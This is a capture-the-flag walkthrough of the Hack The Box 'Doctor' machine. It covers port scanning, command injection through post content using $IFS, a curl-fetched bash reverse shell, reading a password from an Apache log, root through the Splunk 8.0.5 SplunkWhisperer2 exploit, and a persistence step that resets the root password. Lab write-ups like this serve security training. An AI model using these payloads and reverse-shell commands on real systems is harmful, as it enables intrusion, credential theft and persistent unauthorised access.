Recon
- Port scan:
$ nmap -p- 10.10.10.209 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8089/tcp open unknown
- Targeted scan:
$ nmap -p 22,80,8089 -sC -sV 10.10.10.209 > scan.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA) | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA) |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache httpd 2.4.41, Splunkd httpd.
Enumeration
Splunk Enumeration
- Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system.
10.10.10.209:8089
is a Splunk Atom Feed, with the following pages:rpc - 1970-01-01T01:00:00+01:00 services - 1970-01-01T01:00:00+01:00 servicesNS - 1970-01-01T01:00:00+01:00 static - 1970-01-01T01:00:00+01:00
- We also see from the
nmap
scan that there is a disallowed entry in therobots.txt
file:http-robots.txt: 1 disallowed entry
- Looks like the pages require credentials, so we'll come back to this later.
HTTP Enumeration
- The website appears to be a front page for a clinic, some images on the page are returning 404.
- We see an
[email protected]
email address on the/services.html
page, which could be the domain name for our target. - Add the following line to our
/etc/hosts
file:10.10.10.209 doctors.htb
- Navigating to http://doctors.htb, we're redirected to a login page for a service called "Doctor Secure Messaging".
- There is a register function on the page, and we are able to register for an account without an
@doctors.htb
email address. Beware that this account is only valid for 20 minutes.
Exploitation
- Now in the messaging system as the temporary user, we're able to make new posts, let's see if it is vulnerable to XSS:
<b>XSS?</b>
- That didn't seem to have worked, let's see whether if we can inject code with HTTP requests...
- Listen for incoming HTTP requests beforehand:
nc -lvnp 80
- Submit as post content the following:
http://10.10.14.53/$(whoami)
- We see that we get a GET request back for
/web
from an user agent ofcurl/7.68.0
:GET /web HTTP/1.1 Host: 10.10.14.53 User-Agent: curl/7.68.0 Accept: */*
- There seems to be a
curl
agent running on the target which automatically GETs links on posts. - More importantly, it is executing the code that we injected in the URL, seeing as we got a request for
/web
back, whereweb
is likely the username. - Forward the request to Burp Suite to investigate this further, and we get:
title=pwn&content=http//10.10.14.53/$(whoami)&submit=Post
- And start a HTTP server locally to listen for requests:
sudo python3 -m http.server 80
- Let's see if we can get an echo back:
title=pwn&content=http//10.10.14.53/$(echo test)&submit=Post
- That didn't work, neither did swapping out the whitespace with encoded characters like
+
or%20
. - Let's try using a bracket expansion:
title=pwn&content=http//10.10.14.53/$({echo,test})&submit=Post
- That didn't work either. We can try to use something called the
$IFS
variable which returns a space, don't forget to put things in quotes:title=pwn&content=http//10.10.14.53/$(echo$IFS'test')&submit=Post
- We get a request for
/test
from thecurl
agent:"GET /test HTTP/1.1" 404
- Now that we have code execution, let's try to upload and execute a reverse shell.
- Create a simple Bash reverse shell
rev
, host the file on the HTTP server we have started earlier.:bash -c 'bash -i &> /dev/tcp/10.10.14.53/6969 0>&1'
- Make the following request to have the
curl
agent download our reverse shell to the/var/www/html/
directory:title=pwn&content=http//10.10.14.53/$(curl$IFS'-o'$IFS'/var/www/html/rev'$IFS'http://10.10.14.53/rev')&submit=Post
- Listen for a reverse connection:
$ nc -lvnp 6969
- Run our reverse shell by requesting:
title=pwn&content=http//10.10.14.53/$(bash$IFS'/var/www/html/rev')&submit=Post
- We should now get a reverse shell as web:
$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
- We notice that the web user is in group
4(adm)
, which grants us read access to/var/log/
. - But before we proceed, let's upgrade our shell by spawning a TTY:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
$ python3 /tmp/shell.py
- Navigating to
/home/
, we see that there is a user named shaun. - While looking for log files, we see that there is a
backup
file in the/var/log/apache2
directory. Checking what's inside:cat backup | grep pass
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453
- Looks like some user mistakenly put their password in the email address field on the
/reset_password
page, wonder if that was shaun...su shaun
Guitar123
- We're in as shaun, let's get the user flag!
Privilege Escalation
- Password reuse in shaun's Splunk account, granting us access to Splunk services on https://10.10.10.209:8089/services.
- Splunk version info exposed on services page to be 8.0.5, which is vulnerable to an RCE attack.
- The attack is carried out by leveraging the agent's credentials to create a malicious app bundle on the forwarder, such that we can inject arbitrary privileged code.
- We can use an existing exploit called SplunkWhisperer2 (cnotin) to gain a reverse shell:
$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.53 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.53/9001 0>&1'"
- If the exploit ran successfully, we should see a reverse connection which will grant us a root shell:
$ id
uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Persistence
- We can also change the root password to maintain SSH access:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.53 --username shaun --password Guitar123 --payload "echo 'root:persistenceiskey' | changepw"